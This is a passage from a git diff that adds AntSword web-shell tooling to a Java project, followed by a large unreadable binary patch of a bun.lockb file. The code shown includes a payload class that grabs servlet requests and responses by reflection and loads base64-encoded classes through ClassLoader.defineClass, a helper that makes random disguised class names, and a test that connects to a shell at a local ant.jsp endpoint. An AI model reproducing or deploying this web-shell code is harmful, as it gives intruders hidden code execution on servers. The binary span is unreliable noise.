(HttpServletResponse)var2[1]; + } else { + try { + Class var9 = Class.forName("javax.servlet.jsp.PageContext"); + this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1); + this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1); + } catch (Exception var8) { + if (var1 instanceof HttpServletRequest) { + this.request = (HttpServletRequest)var1; + + try { + Field var3 = this.request.getClass().getDeclaredField("request"); + var3.setAccessible(true); + HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request); + Field var5 = var4.getClass().getDeclaredField("response"); + var5.setAccessible(true); + this.response = (HttpServletResponse)var5.get(var4); + } catch (Exception var7) { + try { + this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1); + } catch (Exception var6) { + } + } + } + } + } + + } + + public String asoutput(String var1) { + try { + byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata); + Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + var3.setAccessible(true); + Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length); + return var4.getConstructor(String.class).newInstance(var1).toString(); + } catch (Exception var5) { + return var1; + } + } + + String decode(String var1) throws Exception { + int var2 = 0; + + try { + var2 = Integer.parseInt(this.randomPrefix); + var1 = var1.substring(var2); + } catch (Exception var4) { + var2 = 0; + } + + return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1; + } + + public byte[] Base64DecodeToByte(String var1) { + Object var2 = null; + String var3 = System.getProperty("java.version"); + + try { + byte[] var7; + if (var3.compareTo("1.9") >= 0) { + Class var4 = Class.forName("java.util.Base64"); + Object var5 = var4.getMethod("getDecoder").invoke((Object)null); + var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1); + } else { + Class var8 = Class.forName("sun.misc.BASE64Decoder"); + var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1); + } + + return var7; + } catch (Exception var6) { + return new byte[0]; + } + } +} \ No newline at end of file diff --git a/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java new file mode 100644 index 00000000..0c244281 --- /dev/null +++ b/tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java @@ -0,0 +1,41 @@ +package com.reajason.javaweb.antsword; + +import java.util.Random; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class Utils { + + public static String getRandomAlpha(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < length; ++i) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + + return sb.toString(); + } + + public static String getRandomClassName(String sourceName) { + String[] domainAs = new String[]{"com", "net", "org", "sun"}; + String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase(); + String className = getRandomAlpha((new Random()).nextInt(7) + 4); + className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase(); + int domainAIndex = (new Random()).nextInt(4); + String domainA = domainAs[domainAIndex]; + int randomSegments = (new Random()).nextInt(3) + 3; + if (randomSegments == 3) { + return domainA + "." + domainB + "." + className; + } else if (randomSegments == 4) { + return domainA + "." + domainB + "." + domainC + "." + className; + } else { + return domainA + "." + domainB + "." + domainC + "." + className; + } + } +} diff --git a/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java b/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java new file mode 100644 index 00000000..fb5c7315 --- /dev/null +++ b/tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.antsword; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/2/18 + */ +class AntSwordManagerTest { + + @Test + @Disabled("only for local test") + void test() { + AntSwordManager antSwordManager = AntSwordManager.builder() + .pass("ant") + .entrypoint("http://localhost:8082/app/ant.jsp").build(); + System.out.println(antSwordManager.getInfo()); + } +} \ No newline at end of file diff --git a/web/bun.lockb b/web/bun.lockb index 5c04916ccfed459a1811b8929dff8a30a95e1c09..e83158806f294c87b309563d1b94256ebd9d2ad5 100755 GIT binary patch delta 23514 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ÐPD9{*) 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 Dar8r} delta 23341 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 